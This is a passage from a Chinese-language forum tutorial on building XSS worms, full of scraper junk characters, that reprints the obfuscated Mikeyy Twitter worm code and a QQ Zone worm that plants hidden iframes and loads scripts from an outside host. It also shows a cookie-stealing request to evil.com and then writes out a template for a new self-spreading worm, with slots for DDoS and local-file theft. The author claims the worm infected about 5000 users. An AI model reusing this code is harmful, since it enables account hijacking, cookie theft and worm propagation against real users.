' y1 r# a5 `3 I/ b1 m7 }9 F# e9 jXmlHttp.send(null);

+ k5 q) a3 \7 g: T% b5 F* v4 D</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
& f" E/ i& X8 a
: ]- f% N9 l: v) u6 ~var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

7 J+ \9 ^( S! ?) F

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

, Y: J1 _9 ]/ \8 ^4 RXmlHttp.send(null);
. N7 ]2 |" S$ l! e- a  O
' ~; L6 C+ ?' d<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
+ W) ^2 ^% v, _  J% Q& v- j5 I第一版:
  下载 (5.1 KB)
! H# {1 [# ^& {/ |
6 天前 08:27
( n& h, Y7 k7 g9 Z+ F9 U
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

2 O3 |. U' m( p7 p/ {; f# X( n1 G: d   2.   

3 \7 K( n' Q0 G2 S3 ]   3. function XHConn(){  
% }2 c3 u1 Q, l& I
   4.   var _0x6687x2,_0x6687x3=false;  
" I# @) ?/ R$ M& `  m8 Z0 j
" N* z3 q$ t" T& X3 r8 T% O   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
- i9 w$ f3 d) z( }! s复制代码第六版:   1. function wait() {  
8 B' d! e: `9 x
6 ~. t$ |0 r! f* D4 r  O: b) k   2.   var content = document.documentElement.innerHTML;  
- _/ d/ ?" @# [1 `' p8 a0 K6 l
   3.   var tmp_cookie=document.cookie;  

' c  }! m& m/ Z, S3 x) \! U2 p( l0 o$ F0 {   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

. R" U7 F' t; n. x3 e; Q' ^: H   6.   var authtoken=authreg.exec(content);  
# i. g6 v8 Y" L+ g; b4 U' o
/ @. p: M" g! v/ U$ c6 C4 w9 T   7.   var authtoken=authtoken[1];  

9 m. r3 E$ E6 o4 `0 \   8.   var randomUpdate= new Array();  

& V9 ]$ a% }" w* {$ g# J   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ Z9 Y1 H. T! A1 s! N3 M
. i3 |& d3 _5 {& c  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

2 G8 w9 R1 `/ R7 _  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
0 t/ r# A7 T3 t/ x
, C! P& }, |. \- A; \1 O  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
1 |$ r7 v, ]2 O; M. d4 q' I5 u4 L
9 @. @$ @5 Q: u5 ^4 V: H  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
3 r; @  N: W$ Q
" K) I/ ]5 ?. k  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
$ v' `: H# h: ^
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
3 l# E( A/ i4 z4 ]6 W( P
7 x( W/ I; M- U2 n( z  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

( P+ j7 Z) K9 }' T0 C  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

5 r: X* ]! }+ z5 I5 |2 \& Y. [/ H' R+ s  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
. P1 W0 Z5 C4 f4 y
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
5 g6 z$ c5 C' ?5 a7 s' i7 U
- U1 Z6 `/ T* H- q+ H  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

! A( }1 l1 v6 g" H" a  28.   var ajaxConn= new XHConn();  
7 j# \! h7 j9 H: H
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
1 Q  n7 T( }. S9 E; e
  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

) k) n, n* ~: i. B) T6 w. d( U  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
( `. x# C' C: e0 A* d. i
' a$ \0 `  v, l5 d5 ^  35.   var XSS=urlencode(genXSS);  

. P7 Y8 J! V0 L, ?: O/ y; i6 `% w1 B  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
! r. U4 J6 N8 B6 a5 r" x
  38.     

  39. } ;  

# H) t% u7 b0 K: l8 c" _+ M  40. setTimeout(wait(),5250);  
" `6 r9 m% t; d7 @( Q0 A. t复制代码QQ空间XSSfunction killErrors() {return true;}
6 G9 Z* c; ~7 i1 F* V
* v" F: w9 F- a! `5 p5 \window.onerror=killErrors;
3 O* e. ]/ L7 W7 ?: h8 x: k


& f3 J2 e( ^( ^6 i! uvar shendu;shendu=4;

$ h% t1 K. M$ `4 a//---------------global---v------------------------------------------
8 M- E% _! d  H8 t6 x
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

5 E/ p) I: A$ ?3 z4 evar myblogurl=new Array();var myblogid=new Array();
' z9 J' d6 N. }2 S8 v- u4 L
        var gurl=document.location.href;
; ]/ D* e1 Y2 _
        var gurle=gurl.indexOf("com/");
& G! j3 ]! D$ U: s
        gurl=gurl.substring(0,gurle+3);        
$ W2 x7 F' F6 C- _
8 I4 d0 Y- U2 s( s# |" c        var visitorID=top.document.documentElement.outerHTML;
; z& g$ i8 V  M# w- J/ J
: p8 m! V; ]8 Y, h           var cookieS=visitorID.indexOf("g_iLoginUin = ");
+ T/ z; k! G, _% t3 H) i
* Y, Q8 P+ B+ M% z$ m        visitorID=visitorID.substring(cookieS+14);

% y) C; w! U, _& I/ P9 g        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);
7 R8 `" z- h1 `6 j. V
        get_my_blog(visitorID);

        DOshuamy();
) t3 s" [/ p6 M2 k# ^

, v. _) q* m8 e9 ~* H0 D! J
- D% S5 N" r( z: ?/ R//挂马
+ L: A  ]) ^3 a* v3 v& r# O' P
function DOshuamy(){
5 \& e" v$ a: ~
# a( O- {* I/ N: ]! b8 avar ssr=document.getElementById("veryTitle");
( [) ]8 K* L$ H% w0 A/ t) d
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}

; F  f* b- t8 ?% I! F' _
& w+ Y  g9 S; u
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
) j- c9 ~: U: s/ P" |
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
- ]! o6 o: k& G$ N& y
& l+ \# {+ U( b1 ?; s   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
  j" u) Q% _/ A( p7 F' y7 Y
: Y$ H: a. _" z   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
# ]8 X8 H- M; C: ]) r
8 L) n4 Q$ [3 o0 u, \% h     xhr.send();guest=xhr.responseText;
$ w( ^! c5 ?8 b& z+ J& R9 |! |  T
     get_my_blogurl(guest);    //执行这个函数

* A5 Q7 W" }) W" U- Q9 O4 U    }

+ j9 y; c, l" j8 f/ D}

1 u  h# z8 c: D$ p$ d5 `: I

6 M6 p5 ~: a$ u9 S8 v//这里似乎是判断没有登录的

; d2 ]0 J( Y9 ^& ?6 w' l  @2 ~function get_my_blogurl(guest){

, [, _7 m- Y# U$ t  var mybloglist=guest;

  var myurls;var blogids;var blogide;

/ z; ]2 w, `8 B$ A. B3 j  w  for(i=0;i<shendu;i++){
  k. l( D9 Q7 X% M
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
( C6 T- k9 Q" I% r2 c, L) d- o' d
     if(myurls!=-1){    //找到了就执行下面的

) h* L6 e0 [/ ?0 W0 o. y7 Z         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');
- M! u" y. s$ J$ x7 e. M
' X; J& ~# _5 j. [( M# c1 u9 I+ o         myblogid=mybloglist.substring(0,myurls);
/ a9 r8 x+ t9 V) r# }* _8 e
. D* F/ Z$ F/ B        }else{break;}
. H- P/ ^7 }& h
* I( a1 R4 Z' n6 N4 J1 ^1 f}
1 q! g: M8 d' [& F
7 F1 L) k* I% A/ F" X1 Mget_my_testself();    //执行这个函数
0 Z0 D- ^  K( Y5 a# T
}

3 Y( g& d6 |3 Y# D4 O

2 H' r: A+ N, {3 N( K7 K7 z//这里往哪跳就不知道了
1 e; a( U5 t* n3 `& ?- g
0 c% y  ^" G* _8 A; b( `0 \7 rfunction get_my_testself(){
. W( @. N* f# ^7 u$ T6 k
, O8 u8 _- ]/ C$ E2 l6 y5 H  for(i=0;i<myblogid.length;i++){    //获得blogid的值
& B+ ?- O7 U/ ~2 f# p7 A
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
: @* I7 h! a5 A3 `* N) O' J0 E
( d  I, @  O7 s  p7 H  r# R      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

( i$ O+ n0 Z: v* Q: }) D0 w      if(xhr2){        //如果成功
. B' g* I8 Y; I. Z# u
7 X! ^% K: q9 X# N+ u              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
; e1 Q+ B# E- o/ Z1 K6 n
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

9 l# j: [1 L4 J4 u              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

* j6 A3 K9 B( V/ E0 U, z( z              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

: e, C8 D& Q( Z+ h4 Y( s3 T                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

! l' P5 ~6 r7 P0 M3 ^/ E2 W4 {                break;

               }
4 C" S7 P& ]4 b/ c: K& s1 e
              if(mycheckit=="-1"){
) W9 H! C5 E& _: K& T
                targetblogurlid=myblogid;
  n" Y! {: k( x! N: t% a/ V# N
+ E$ F2 a3 m) \5 i  J                add_js(visitorID,targetblogurlid,gurl);    //执行它
8 c6 f" @+ }! j4 |
/ i/ ?. Y7 d) N: ^                break;

               }
1 y; D  y8 ~3 S7 J0 t
4 @' j1 {& f* U& o        }      
4 q2 M% [6 F& g. u7 `* v; P
}

}
! [7 y/ v: P& R: h) [# P5 [0 w

/ e. f: C. h' K+ r
//--------------------------------------  
/ p( w, l- R* z* I3 ]* _/ X4 i
# i  [8 G& B- U( Q//根据浏览器创建一个XMLHttpRequest对象

5 p: L6 z9 Q" ^! Rfunction createXMLHttpRequest(){
! y6 W% H2 r/ ^% a& a
( z3 W; f9 @9 l2 I; b. g/ U! K    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

0 y$ F; C, P; ~3 ?3 w0 e    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
5 j6 |" j8 h4 H. b9 |
        for(var i=0;i<MSXML.length;i++)  

        {  

! i6 g* `! ?  h. F5 d- j- r, Y/ e            try  
) o% `2 K7 ]# {; l
            {  

( q, H3 y' N: ?2 I                XMLhttpObject=new ActiveXObject(MSXML);  

1 d- X  K3 U. P. w) U( z7 e                break;  
3 @$ n% P# o2 u6 P* i3 k8 M
            }  
- Z8 l0 J% N* `  V
            catch (ex) {  
. Y% M' }- K$ @7 i, e7 r
0 `& G7 G8 @- D  `5 p1 P" X            }  
! c. f% a/ C$ L  {
  d1 y9 ~" I. _. U  t         }  

      }

6 ?' i! [; Z4 R! A, _1 b$ ~return XMLhttpObject;

3 Q1 X2 a" G# K; W}  


8 T1 y8 @2 l6 s, O9 U  S
//这里就是感染部分了
6 `: p% T* [& N, o
function add_js(visitorID,targetblogurlid,gurl){
( S# j; a) H7 p' y+ I: o; S7 i
/ s1 K+ {8 D: I3 V8 zvar s2=document.createElement('script');
) Q( l0 S' v5 R& R  a: b" f; L
* W" ]  R/ P  f2 b4 i5 [5 es2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
! l4 F! U4 a! M5 v) Z
& [5 f( ~* J1 ]8 t# fs2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

}

4 |6 D5 J: c. k# [; u) \1 L4 G8 m7 C, Y
. l1 q; @7 `- \9 m6 P  r
function add_jsdel(visitorID,targetblogurlid,gurl){
. ]* R% ?! a* Z
var s2=document.createElement('script');

+ u2 _/ X# r: {( Qs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

* K( V$ H/ @6 Z9 C; V1 q/ [' R2 ~document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
4 @/ Q! {  n% P6 q6 }
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
$ A5 \; D2 h4 C5 a0 R. j
  o! f; ~- j5 I: ^, C综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

1 F, E* w: p. [) k
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();
' N+ r: O9 b( k/ d
if(request.overrideMimeType) {

+ E2 A1 F8 x& }( f* M! L( u& Drequest.overrideMimeType('text/xml');

: ^8 I. [* X% m) j: u2 ?}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
5 d1 F! {8 U" s$ f, x, i& w
; Y2 P8 W( n" G; Mfor(var i=0; i<versions.length; i++) {
9 Y; C8 v% R1 y' y) w
try {
) u2 n, M' n/ R* r! D8 ~5 R
request = new ActiveXObject(versions);
! {  b7 e# t; |  K( `: ]( q
, o+ E( q" a9 Y- ]' o! X* p+ v3 i} catch(e) {}

8 o# a" I  e) J0 O3 |% Y}
' K$ h) U+ d  q" f* Y7 t' j2 X+ B0 \
}

xmlHttpReq=request;
- X3 r# Y! l( `& W复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
- Q9 R: ?- P- d! `% ?* t" S- e  R" B
        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
  L+ ^+ w9 R& x/ w$ O
        var Browser_Agent=navigator.userAgent;

/ i8 s! y1 E- M2 H! a' V        

        var Actual_Version,Actual_Name;
4 p' w, Y6 A% T$ x( X. D/ f7 f/ b
        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

/ I) t0 f3 [5 [( v+ y- n        var is_Ch=(Browser_Name=="Chrome");
8 F2 {- p) R: v( R% [9 w
        

        if(is_NN){

' x/ k8 {4 L; e- u# l            if(Browser_Version>=5.0){
  d$ L" l- L. }1 c  P
                var Split_Sign=Browser_Agent.lastIndexOf("/");
* H, I4 M" E- H5 W: f6 h& K
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

+ v/ ^0 o! w9 L- ]5 G" m                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



1 F) V1 W% Z5 I" P8 o                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

1 p/ L" J' \. [                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
( \# L: n5 K$ _0 o+ ]
            }
! e! [0 n8 P$ u7 i# ~
% m0 \7 [5 B8 |, e  R            else{
1 j$ c* M3 \$ [; P) |, R" I1 w; }
                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

2 a7 E, N  }3 C0 h: D+ I            }

+ T6 w( }  Q0 f8 Q4 f5 b7 P        }

        else if(is_IE){
/ l: j  ^. a/ c5 L& Q$ Z4 `
/ O6 t- A0 O8 S            var Version_Start=Browser_Agent.indexOf("MSIE");
, \9 s* A1 ~  z7 ?) q
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
. a6 p! K" @+ j9 q6 ?
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

- V: X  I6 U# V! `. D  {, u            Actual_Name=Browser_Name;
( F6 H8 v9 L. b! h2 f
            
5 [+ A" r8 L" _, \3 H5 \! a% S
- Q2 V2 l+ D. M% Q) n6 ^7 y0 _            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
. x9 S" O- F. Y: U( B
; _) C/ R: E, _/ h9 T% X            }
8 q4 @+ t  L) t7 F1 O5 I
9 G2 ]" A1 Y0 x& o1 S: Q% G' v            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

# l4 B( k  }; n, o                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
; C1 m7 c5 Q* }+ i3 y
2 g5 Q  o7 `9 h. C8 r# O                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
* X5 O7 v8 K/ W8 f8 d! {
            }

        }
6 M. A& G& x/ H! a) B7 i2 M. _! G
4 }5 X# M4 o4 h1 A0 H        else if(is_Ch){

3 c% D2 E( n5 q' q4 t# e            var Version_Start=Browser_Agent.indexOf("Chrome");

9 K+ M  k! [0 n- L3 T. ~: p) R- ~7 w( _            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            

/ ?$ n$ Y3 F. ]0 B, u5 g: {4 _+ L            if(Browser_Agent.indexOf("Maxthon")!=-1){
! ?7 {: R9 u3 i/ J9 V0 V2 q# G/ M$ D
; r& s' Z8 o0 L0 W& _, D% A( E                Actual_Name+="(Maxthon)";
! q) a. m7 ^! w# t
* p  m2 ?% G6 [' [            }

; f$ f+ Z  O2 p1 a6 \) i2 n            else if(Browser_Agent.indexOf("Opera")!=-1){
; K4 F! e" Y, ?/ V& e
                Actual_Name="Opera";
# R  m' G0 `8 S  f0 q5 e! D
                var tempstart=Browser_Agent.indexOf("Opera");

4 G( z& C: u8 E2 q4 {                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }
8 m4 H+ m  P$ Y1 P8 {
# [+ N" E$ L. B# `, Q; k  k        else{

            Actual_Name="Unknown Navigator"

" s. M4 n2 z2 z# \            Actual_Version="Unknown Version"

        }

, P3 c* m& s% y( ?% E; e
: R: h; ?3 f8 m/ S: C3 ]) s
        navigator.Actual_Name=Actual_Name;
  c3 w7 d2 I. P$ s  R
        navigator.Actual_Version=Actual_Version;
0 U5 F+ G: ?1 h, n) y9 J. F/ `
        

        this.Name=Actual_Name;

        this.Version=Actual_Version;

* N5 l) K: r+ }0 v6 v% S' \    }

    browserinfo();

5 n$ y- q3 M0 L/ j7 I    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

( t+ g3 \3 y; H    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
; R- [0 q" q+ u
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
7 i( w. s/ f/ E
7 T8 d2 J( {2 b7 x$ h  D0 {7 T; K: }* z    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
: w) F/ C3 r$ Q
; I: I3 A' B6 Q& m8 x0 JxmlHttpReq.send(null);
/ U. |; Z  {2 x6 x/ f
0 e0 j) C& Z6 z! F+ P  Zvar resource = xmlHttpReq.responseText;
# z7 i" X, Q9 }
+ N' O2 ^1 V. P( l8 v( F( Uvar id=0;var result;
! |- V" U# }* \8 `, W2 v! M" d
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
# \  S& p" z+ d
while ((result = patt.exec(resource)) != null)  {

id++;

}
- \3 }" E1 Q* h$ S2 E7 B0 U复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

9 ^2 x" H6 Q1 Cno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
$ @7 f. y# `1 E% M
7 q0 ~. U+ S1 h8 A, s, d; E' LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
* q# V8 d) j5 j4 Q
4 F" s% T: p& H1 lxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
( w7 n1 `6 X) F* s
! y+ i9 {( ^5 A4 z9 V5 V! hxmlHttpReq.send(post);

: h$ R% o5 [7 I4 ^! O8 H0 r7 \- z}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

4 k+ X  c; P! `# `1 x: d. F) ~" I! N# t0 {; {var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
1 A, V- w& K' ~. H5 w4 h
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

6 z( z: }( R4 S& Avar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
4 N" F" X$ R1 ~3 l0 t& P
var post="wd="+wd;
1 `2 v' C  Y1 J8 J/ f# A- t
9 d  `) u0 U% ]5 xxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
! H9 f3 y: C4 s4 t' {
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
' o6 r$ I, n) e0 F+ V
  z$ ?7 x" c- L0 Z( k4 KxmlHttpReq.send(post);                 //把传播的信息 POST出去.

& a8 s! _2 L8 J; `}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
* `- C7 J) s8 }' X4 F5 X2 D7 {
+ N+ @8 X9 Z4 u4 d0 y( o7 n5 B# R
& V, t* M2 H- a3 D' j7 {$ y" D. C
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
5 ~5 O) A' M# I8 H0 }操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
4 s# N) c* t8 l6 d" E


& F! y: P: l8 V/ l( l" Z6 Q

7 e7 C, d1 u) A9 u7 U, J0 S


本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
( Z, E  b5 r0 o3 V# H+ ~) @Xeye Team http://xeye.us/